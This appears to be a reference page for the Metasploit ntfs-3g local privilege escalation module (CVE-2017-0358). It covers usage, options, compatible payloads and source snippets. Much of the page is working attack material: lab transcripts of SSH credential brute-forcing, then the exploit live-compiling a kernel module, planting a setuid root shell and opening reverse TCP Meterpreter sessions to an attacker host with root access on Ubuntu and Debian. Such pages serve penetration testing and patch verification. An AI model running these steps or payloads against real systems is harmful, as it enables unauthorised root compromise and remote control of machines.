Debian/Ubuntu ntfs-3g Local Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/ntfs3g_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Debian/Ubuntu ntfs-3g Local Privilege Escalation
Module: exploit/linux/local/ntfs3g_priv_esc
Source code: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Disclosure date: 2017-01-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-0358
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe. This can be abused to load a kernel module and execute a binary payload as the root user.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/ntfs3g_priv_esc
msf exploit(ntfs3g_priv_esc) > show targets
... a list of targets ...
msf exploit(ntfs3g_priv_esc) > set TARGET target-id
msf exploit(ntfs3g_priv_esc) > show options
... show and set options ...
msf exploit(ntfs3g_priv_esc) > set SESSION session-id
msf exploit(ntfs3g_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
We have to live compile on the host, so make
and gcc
are required. Easiest thing to do is: apt-get install build-essential
.
As per notes from the original EDB module, if you're in a VM, you should use at least two CPU cores. This was confirmed during testing of this module as well.
This module has been tested against:
- Ubuntu 16.04 with ntfs-3g 1:2015.3.14AR.1-1build1
- Ubuntu 16.10 with ntfs-3g 1:2016.2.22AR.1-3
- Debian Jessie 8 (8.7.1, had to downgrade ntfs-3g to vuln version, and install kernel headers):
apt-get install ntfs-3g=1:2014.2.15AR.2-1+deb8u2 linux-headers-$(uname -r)
This module was not tested against, but may work against:
- Debian 7
- Debian 9
- Other Debian based systems
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use exploit/linux/local/ntfs3_priv_esc
- Do:
set session #
- Do:
set verbose true
- Do:
exploit
Options
WritableDir
A folder we can write files to. Defaults to /tmp
Scenarios
Ubuntu 16.04 (ntfs-3g 1:2015.3.14AR.1-1build1)
Initial Access
resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.137
rhosts => 192.168.2.137
resource (ntfs3g.rc)> set username ubuntu
username => ubuntu
resource (ntfs3g.rc)> set password ubuntu
password => ubuntu
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:40371 -> 192.168.2.137:22) at 2017-02-24 21:33:59 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Ubuntu 16.04 detected
[*] The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Vulnerable Ubuntu 16.04 detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/KggJEFqa
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.137
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.137:53144) at 2017-02-24 21:34:25 -0500
[!] This exploit may require manual cleanup of '/tmp/rootshell.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootshell' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit.c' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/Makefile' on the target
[!] This exploit may require manual cleanup of '/tmp/KggJEFqa' on the target
meterpreter > sysinfo
Computer : 192.168.2.137
OS : Ubuntu 16.04 (Linux 4.4.0-21-generic)
Architecture : x64
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
Ubuntu 16.10 (ntfs-3g 1:2016.2.22AR.1-3)
Initial Access
[*] Processing ntfs3g.rc for ERB directives.
resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.197
rhosts => 192.168.2.197
resource (ntfs3g.rc)> set username ubuntu
username => ubuntu
resource (ntfs3g.rc)> set password ubuntu
password => ubuntu
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),115(lpadmin),116(sambashare) Linux ubuntu1610 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:37241 -> 192.168.2.197:22) at 2017-02-25 21:48:06 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Ubuntu 16.10 detected
[*] The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Vulnerable Ubuntu 16.10 detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/ECldPeni
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.197
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.197:40746) at 2017-02-25 21:48:39 -0500
[!] This exploit may require manual cleanup of '/tmp/rootshell.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootshell' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit.c' on the target
[!] This exploit may require manual cleanup of '/tmp/sploit' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/Makefile' on the target
[!] This exploit may require manual cleanup of '/tmp/ECldPeni' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.ko' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.mod.c' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.mod.o' on the target
[!] This exploit may require manual cleanup of '/tmp/rootmod.o' on the target
meterpreter > sysinfo
Computer : 192.168.2.197
OS : Ubuntu 16.10 (Linux 4.8.0-22-generic)
Architecture : x64
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
Debian 8.7.1 (ntfs-3g 1:2014.2.15AR.2-1+deb8u2)
Initial Access
[*] Processing ntfs3g.rc for ERB directives.
resource (ntfs3g.rc)> use auxiliary/scanner/ssh/ssh_login
resource (ntfs3g.rc)> set rhosts 192.168.2.83
rhosts => 192.168.2.83
resource (ntfs3g.rc)> set username debian
username => debian
resource (ntfs3g.rc)> set password debian
password => debian
resource (ntfs3g.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'debian:debian' 'uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),115(bluetooth) Linux debian871 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:40679 -> 192.168.2.83:22) at 2017-02-25 22:17:49 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (ntfs3g.rc)> use exploit/linux/local/ntfs3g_priv_esc
resource (ntfs3g.rc)> set verbose true
verbose => true
resource (ntfs3g.rc)> set session 1
session => 1
resource (ntfs3g.rc)> set target 1
target => 1
resource (ntfs3g.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (ntfs3g.rc)> check
[!] SESSION may not be compatible with this module.
[+] Vulnerable Debian 8 (jessie) detected
[*] The target appears to be vulnerable.
resource (ntfs3g.rc)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Vulnerable Debian 8 (jessie) detected
[+] make is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing rootshell to /tmp/rootshell.c
[*] Max line length is 65537
[*] Writing 345 bytes in 1 chunks of 1198 bytes (octal-encoded), using printf
[*] Writing sploit to /tmp/sploit.c
[*] Max line length is 65537
[*] Writing 7632 bytes in 1 chunks of 26966 bytes (octal-encoded), using printf
[*] Writing rootmod to /tmp/rootmod.c
[*] Max line length is 65537
[*] Writing 1115 bytes in 1 chunks of 4016 bytes (octal-encoded), using printf
[*] Writing Makefile to /tmp/Makefile
[*] Max line length is 65537
[*] Writing 18 bytes in 1 chunks of 66 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/cCacqozW
[*] Max line length is 65537
[*] Writing 206 bytes in 1 chunks of 567 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2440248 bytes) to 192.168.2.83
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.83:48762) at 2017-02-25 22:18:27 -0500
meterpreter > sysinfo
Computer : 192.168.2.83
OS : Debian 8.7 (Linux 3.16.0-4-amd64)
Architecture : x64
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
Go back to menu.
Msfconsole Usage
Here is how the linux/local/ntfs3g_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/ntfs3g_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ntfs3g_priv_esc) > show info
Name: Debian/Ubuntu ntfs-3g Local Privilege Escalation
Module: exploit/linux/local/ntfs3g_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2017-01-05
Provided by:
jannh <[email protected]>
h00die <[email protected]>
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and
possibly 9 does not properly sanitize the environment when executing
modprobe. This can be abused to load a kernel module and execute a
binary payload as the root user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-0358
https://www.exploit-db.com/exploits/41356
https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
Module Options
This is a complete list of options available in the linux/local/ntfs3g_priv_esc exploit:
msf6 exploit(linux/local/ntfs3g_priv_esc) > show options
Module options (exploit/linux/local/ntfs3g_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux x64
Advanced Options
Here is a complete list of advanced options supported by the linux/local/ntfs3g_priv_esc exploit:
msf6 exploit(linux/local/ntfs3g_priv_esc) > show advanced
Module advanced options (exploit/linux/local/ntfs3g_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/ntfs3g_priv_esc module can exploit:
msf6 exploit(linux/local/ntfs3g_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ntfs3g_priv_esc exploit:
msf6 exploit(linux/local/ntfs3g_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/x64/exec normal No Linux Execute Command
4 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
10 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
11 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
12 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
13 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
14 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
15 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/ntfs3g_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/ntfs3g_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Linux kernel headers not available, compiling will fail.
- Version installed not vulnerable: <OUTPUT>
- ntfs-3g not installed
- <FILENAME> at <FILE_PATH>.c failed to compile
- t actually want to end up with a loaded module */
- Target not vulnerable! punt!
- gcc is not installed. Compiling will fail.
- make is not installed. Compiling will fail.
- make and gcc required on system to build exploit for kernel
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Linux kernel headers not available, compiling will fail.
Here is a relevant code snippet related to the "Linux kernel headers not available, compiling will fail." error message:
59: output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')
60: if output
61: if output.include?('linux-headers')
62: return true
63: else
64: print_error('Linux kernel headers not available, compiling will fail.')
65: return false
66: end
67: end
68: false
69: end
Version installed not vulnerable: <OUTPUT>
Here is a relevant code snippet related to the "Version installed not vulnerable: <OUTPUT>" error message:
91: else
92: CheckCode::Safe
93: end
94: CheckCode::Appears
95: else
96: print_error("Version installed not vulnerable: #{output}")
97: CheckCode::Safe
98: end
99: else
100: print_error('ntfs-3g not installed')
101: CheckCode::Safe
ntfs-3g not installed
Here is a relevant code snippet related to the "ntfs-3g not installed" error message:
95: else
96: print_error("Version installed not vulnerable: #{output}")
97: CheckCode::Safe
98: end
99: else
100: print_error('ntfs-3g not installed')
101: CheckCode::Safe
102: end
103: end
104:
105: def exploit
<FILENAME> at <FILE_PATH>.c failed to compile
Here is a relevant code snippet related to the "<FILENAME> at <FILE_PATH>.c failed to compile" error message:
111: write_file("#{file_path}.c", file_content)
112: register_file_for_cleanup("#{file_path}.c")
113: output = cmd_exec(compile)
114: if output != ''
115: print_error(output)
116: fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
117: end
118: else
119: vprint_status("Writing #{filename} to #{file_path}")
120: write_file(file_path, file_content)
121: end
t actually want to end up with a loaded module */
Here is a relevant code snippet related to the "t actually want to end up with a loaded module */" error message:
146: kcred = prepare_kernel_cred(NULL);
147: oldcred = override_creds(kcred);
148: sys_fchown_(suidfile_fd, 0, 0);
149: sys_fchmod_(suidfile_fd, 06755);
150: revert_creds(oldcred);
151: return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */
152: }
153:
154: static void __exit cleanup_rootmod(void) {}
155:
156: module_init(init_rootmod);
Target not vulnerable! punt!
Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:
188: sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"
189: payload_filename = rand_text_alpha(8)
190: payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
191:
192: if check != CheckCode::Appears
193: fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
194: end
195:
196: def has_prereqs?()
197: def check_gcc?()
198: gcc = cmd_exec('which gcc')
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
198: gcc = cmd_exec('which gcc')
199: if gcc.include?('gcc')
200: vprint_good('gcc is installed')
201: return true
202: else
203: print_error('gcc is not installed. Compiling will fail.')
204: return false
205: end
206: end
207:
208: def check_make?()
make is not installed. Compiling will fail.
Here is a relevant code snippet related to the "make is not installed. Compiling will fail." error message:
209: make = cmd_exec('which make')
210: if make.include?('make')
211: vprint_good('make is installed')
212: return true
213: else
214: print_error('make is not installed. Compiling will fail.')
215: return false
216: end
217: end
218:
219: return check_make?() && check_gcc?()
make and gcc required on system to build exploit for kernel
Here is a relevant code snippet related to the "make and gcc required on system to build exploit for kernel" error message:
220: end
221:
222: if has_prereqs?()
223: vprint_status('Live compiling exploit on system')
224: else
225: fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')
226: end
227:
228: # make our substitutions so things are dynamic
229: rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
230: "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
- #8020 Merged Pull Request: ntfs-3g local privilege escalation
References
See Also
Related Nessus plugins:
- SUSE SLED12 Security Update : ntfs-3g_ntfsprogs (SUSE-SU-2018:3587-1)
- openSUSE Security Update : ntfs-3g_ntfsprogs (openSUSE-2018-1376)
- SUSE SLED12 Security Update : ntfs-3g_ntfsprogs (SUSE-SU-2018:3587-2)
- Debian DSA-3780-1 : ntfs-3g - security update
- Ubuntu 16.04 LTS / 16.10 : ntfs-3g vulnerability (USN-3182-1)
- Debian DLA-815-1 : ntfs-3g security update
- GLSA-201702-10 : NTFS-3G: Privilege escalation
Authors
- [email protected]
- h00die <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.